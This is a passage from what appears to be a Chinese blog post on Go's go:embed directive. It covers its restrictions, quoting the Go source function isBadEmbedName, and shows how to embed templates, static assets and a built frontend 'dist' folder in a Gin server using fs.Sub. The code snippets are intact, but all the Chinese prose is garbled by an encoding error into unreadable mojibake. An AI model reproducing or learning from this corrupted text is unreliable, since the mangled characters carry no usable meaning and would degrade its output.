<td style="text-align: center"><code>string</code></td>
<td style="text-align: center">ç¨äºåå¨ UTF-8 ç¼ç çå符串ã</td>
</tr>
<tr>
<td style="text-align: center"><code>embed.FS</code></td>
<td style="text-align: center">ç¨äºåµå
¥å¤ä¸ªæ件åç®å½çç»æã</td>
</tr>
</tbody>
</table>
<p>å¦æåéç±»åæ误ï¼ç¨åºå°å¨ç¼è¯æé´æ¥éã</p>
<p>éè¦ç¹å«æ³¨æçæ¯ï¼
<div class="box-warning box"><i class="box-icon-warning"></i>
`go embed` ä»
è½åµå
¥å½åç®å½åå
¶åç®å½ï¼æ æ³åµå
¥ä¸å±ç®å½ãåæ¶ä¹ä¸æ¯æ软é¾æ¥ã
</div>
</p>
<p>æ´ç»çæ¯ï¼<code>go emebd</code> ç¦æ¢åµå
¥å¦ <code>.git</code> <code>.svn</code> è¿äºç®å½ï¼å®æ¹è®¤ä¸ºè¿äºç®å½ä¸å±äº package çä¸é¨åï¼å¦æåµå
¥åä¼å¨ç¼è¯æ¶æ¥éãå¯åè§ Go æºç <code>src/cmd/go/internal/load/pkg.go#L2091-2107</code></p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// isBadEmbedName reports whether name is the base name of a file that</span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// can't or won't be included in modules and therefore shouldn't be treated</span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// as existing for embedding.</span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">isBadEmbedName</span>(name <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">bool</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> module.<span style="color:#d2a8ff;font-weight:bold">CheckFilePath</span>(name); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">true</span>
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">switch</span> name {
</span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Empty string should be impossible but make it bad.</span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">""</span>:
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">true</span>
</span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Version control directories won't be present in module.</span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">".bzr"</span>, <span style="color:#a5d6ff">".hg"</span>, <span style="color:#a5d6ff">".git"</span>, <span style="color:#a5d6ff">".svn"</span>:
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">true</span>
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">false</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>æåæ¬è¿æ³çéè¿ <code>go embed</code> å¨ç¨åºç¼è¯æ¶è¯»å <code>.git/config</code> é
ç½®ææä¿¡æ¯ç…… ð</p>
<h2 id="ä¸ç§åµå
¥æ件çæ
åµ">ä¸ç§åµå
¥æ件çæ
åµ</h2>
<p>å¨ Elaina 项ç®ä¸ä½¿ç¨ <code>go emebd</code> æ¶ï¼æéå°äºä¸ç§ä¸åçç®å½ç»æï¼è¿ä¸ç§ç®å½ç»æä¹å¤§è´åæ¬äºæ们å¨å®é
项ç®ä¼éå°çåºæ¯ãè¿éå享ä¸ä¸æçåæ³ã</p>
<h3 id="åµå
¥å¤ä¸ªæ件">åµå
¥å¤ä¸ªæ件</h3>
<p>å¨ä¸ä¸ª Web åºç¨é¡¹ç®ä¸å¸¸ä¼æ <code>templates</code> ç®å½ï¼åæ¾äº HTML ç模æ¿æ件ï¼å®ä»¬å¸¸ä»¥ <code>.tmpl</code> æè
<code>.html</code> ä½ä¸ºåç¼åã</p>
<pre tabindex="0"><code>.
âââ sandbox.tmpl
âââ sandbox_404.tmpl
</code></pre><p>è¦åµå
¥è¿äºæ¨¡æ¿æ件ï¼æ们å¯ä»¥å¨ <code>templates</code> ç®å½ä¸å建ä¸ä¸ª <code>fs.go</code> æ件ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">package</span> templates
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">import</span> (
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">"embed"</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">//go:embed *.tmpl</span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">var</span> FS embed.FS
</span></span></code></pre></div><p>è¿æ ·å°±å°ææç <code>.tmpl</code> åç¼çæ件åµå
¥è¿äº <code>FS</code> åéä¸ã
åé¢å¨è·¯ç±ä¸ä½¿ç¨ <code>html/template</code> åºæ¥ä»æ件系ç»ä¸å 载并解æ模æ¿ã以ä¸æ¯å¨ Gin æ¡æ¶ä¸ç示ä¾ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>tpl <span style="color:#ff7b72;font-weight:bold">:=</span> template.<span style="color:#d2a8ff;font-weight:bold">Must</span>(template.<span style="color:#d2a8ff;font-weight:bold">New</span>(<span style="color:#a5d6ff">""</span>).<span style="color:#d2a8ff;font-weight:bold">ParseFS</span>(templates.FS, <span style="color:#a5d6ff">"*"</span>))
</span></span><span style="display:flex;"><span>r.<span style="color:#d2a8ff;font-weight:bold">SetHTMLTemplate</span>(tpl)
</span></span></code></pre></div><h3 id="åµå
¥å¤ä¸ªç®å½">åµå
¥å¤ä¸ªç®å½</h3>
<p>ä¸ä¸ª Web åºç¨é¡¹ç®ä¸å¾å¾è¿ä¼æ个 <code>public</code> ç®å½ï¼å
¶ç¨äºåå¨ææçéæèµæºãç®å½ä¸ä¼æè¯¸å¦ <code>css</code> <code>js</code> <code>assets</code> è¿æ ·çåç®å½ã</p>
<pre tabindex="0"><code>.
âââ css
â  âââ sandbox.css
âââ js
âââ sandbox.js
</code></pre><p>è¿ä¸æ¬¡æ¯åµå
¥å¤ä¸ªç®å½ï¼æ们å¯ä»¥æ仿ä¸é¢çåæ³ï¼å¨ <code>public</code> ç®å½ä¸å建ä¸ä¸ª <code>fs.go</code> æ件ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">package</span> public
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">import</span> (
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">"embed"</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">//go:embed css js</span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">var</span> FS embed.FS
</span></span></code></pre></div><p>å¨æ³¨åè·¯ç±æ¶ï¼Gin ç <code>StaticFS</code> éè¦ä¸ä¸ªå®ç°äº <code>http.fs</code> ä¸ <code>FileSystem</code> æ¥å£çåéãè¿éæä»¬ä½¿ç¨ <code>http.FS</code> æ¹æ³ï¼å° <code>fs.FS</code> 转æ¢æ <code>FileSystem</code>ãäºè
å
¶å®é½æ¯åªéå®ç° <code>Open(name string) (File, error)</code> è¿ä¸ªæ¹æ³å³å¯ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>r.<span style="color:#d2a8ff;font-weight:bold">StaticFS</span>(<span style="color:#a5d6ff">"/static"</span>, http.<span style="color:#d2a8ff;font-weight:bold">FS</span>(public.FS))
</span></span></code></pre></div><h3 id="åµå
¥åç®å½">åµå
¥åç®å½</h3>
<p>ææ¶æ们ç项ç®æ¯åå端å离çï¼éè¦å°æå
ç¼è¯å¥½çå端åµå
¥è¿æ¥ãç¼è¯å¥½çå端å¾å¾ä¼å¨ <code>dist</code> ç®å½ä¸ã</p>
<pre tabindex="0"><code>.
âââ css
â  âââ app.3ca5488f.css
â  âââ chunk-vendors.08a0794a.css
âââ index.html
âââ js
â  âââ app.1bdd8cf2.js
â  âââ app.1bdd8cf2.js.map
â  âââ chunk-2d0ac239.c72b0c7d.js
â  âââ chunk-2d0ac239.c72b0c7d.js.map
âââ manifest.json
âââ precache-manifest.a2e4eb7c729e7ecf28ada54a6ea672b4.js
âââ service-worker.js
</code></pre><p>èæ们并ä¸è½æ仿å两ç§æ
åµï¼å建ä¸ä¸ª <code>fs.go</code> æä»¶å¨ <code>dist</code> ç®å½ä¸ãåå æ两ç¹ï¼</p>
<ol>
<li><code>dist</code> ç®å½å¾å¾æ¯åå¨ <code>.gitignore</code> ä¸è¢«å¿½ç¥çã</li>
<li><code>dist</code> ä¸æ¢ææ件åæç®å½ï¼è¥æå®å
¶åµå
¥ <code>*</code> çè¯ï¼<code>fs.go</code> æ件ä¹ä¼è¢«åµå
¥è¿æ¥ã</li>
</ol>
<p>å æ¤è¿éæä»¬å° <code>fs.go</code> æ¾ç½®äº <code>dist</code> çç¶ç®å½ä¸ãæ件å
容è¿æ¯ç±»ä¼¼çï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">package</span> frontend
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">import</span> (
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">"embed"</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">//go:embed dist</span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">var</span> FS embed.FS
</span></span></code></pre></div><p><div class="box-warning box"><i class="box-icon-warning"></i>
éè¦æ³¨æçæ¯ï¼è¥ç´æ¥ä½¿ç¨ `frontend.FS` 注åè·¯ç±ï¼ææçæ件路å¾é½ä¼æ `dist/` åç¼ãæ们éè¦éè¿å½¢å¦ `http://localhost:8080/dist/index.html` çå°åè¿è¡è®¿é®ï¼è¿æ¾ç¶ä¸æ¯æ们æ³è¦çã
</div>
å æ¤ï¼è¿ééè¦ä½¿ç¨ <code>fs.Sub()</code> æ¹æ³ï¼æ¥è¿å
¥ <code>frontend.FS</code> çä¸å±æ件夹ï¼å¹¶è¿åä¸ä¸ªæ°ç <code>FS</code>ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>fe, err <span style="color:#ff7b72;font-weight:bold">:=</span> fs.<span style="color:#d2a8ff;font-weight:bold">Sub</span>(frontend.FS, <span style="color:#a5d6ff">"dist"</span>)
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Fatal</span>(<span style="color:#a5d6ff">"Failed to sub path `dist`: %v"</span>, err)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>r.<span style="color:#d2a8ff;font-weight:bold">StaticFS</span>(<span style="color:#a5d6ff">"/m"</span>, http.<span style="color:#d2a8ff;font-weight:bold">FS</span>(fe))
</span></span></code></pre></div><p>å
¶å®å两ç§æ
å½¢é½å¯ä»¥ç¨è¿ç¬¬ä¸ç§ <code>fs.Sub()</code> è¿å
¥ç®å½æ¥è§£å³ï¼å³åå«è¿å
¥ <code>templates</code> <code>public</code> ç®å½ï¼ã
ä½è¿å°å¤±å»åé <code>templates.FS</code> <code>public.FS</code> è¿äºæ¸
æ°ææçå
åå½åã</p>
<h2 id="æ»ç»">æ»ç»</h2>
<p>以ä¸å°±æ¯ææ¸ç´¢åºç <code>go embed</code> å¨å®é
项ç®ä¸ç使ç¨æ¹å¼ãå¯è½ä¸å¤§åç¡®ï¼æ¬¢è¿å¤§å®¶çº æ£ä»¥åæåºä½ æ认为çæä½³å®è·µã</p>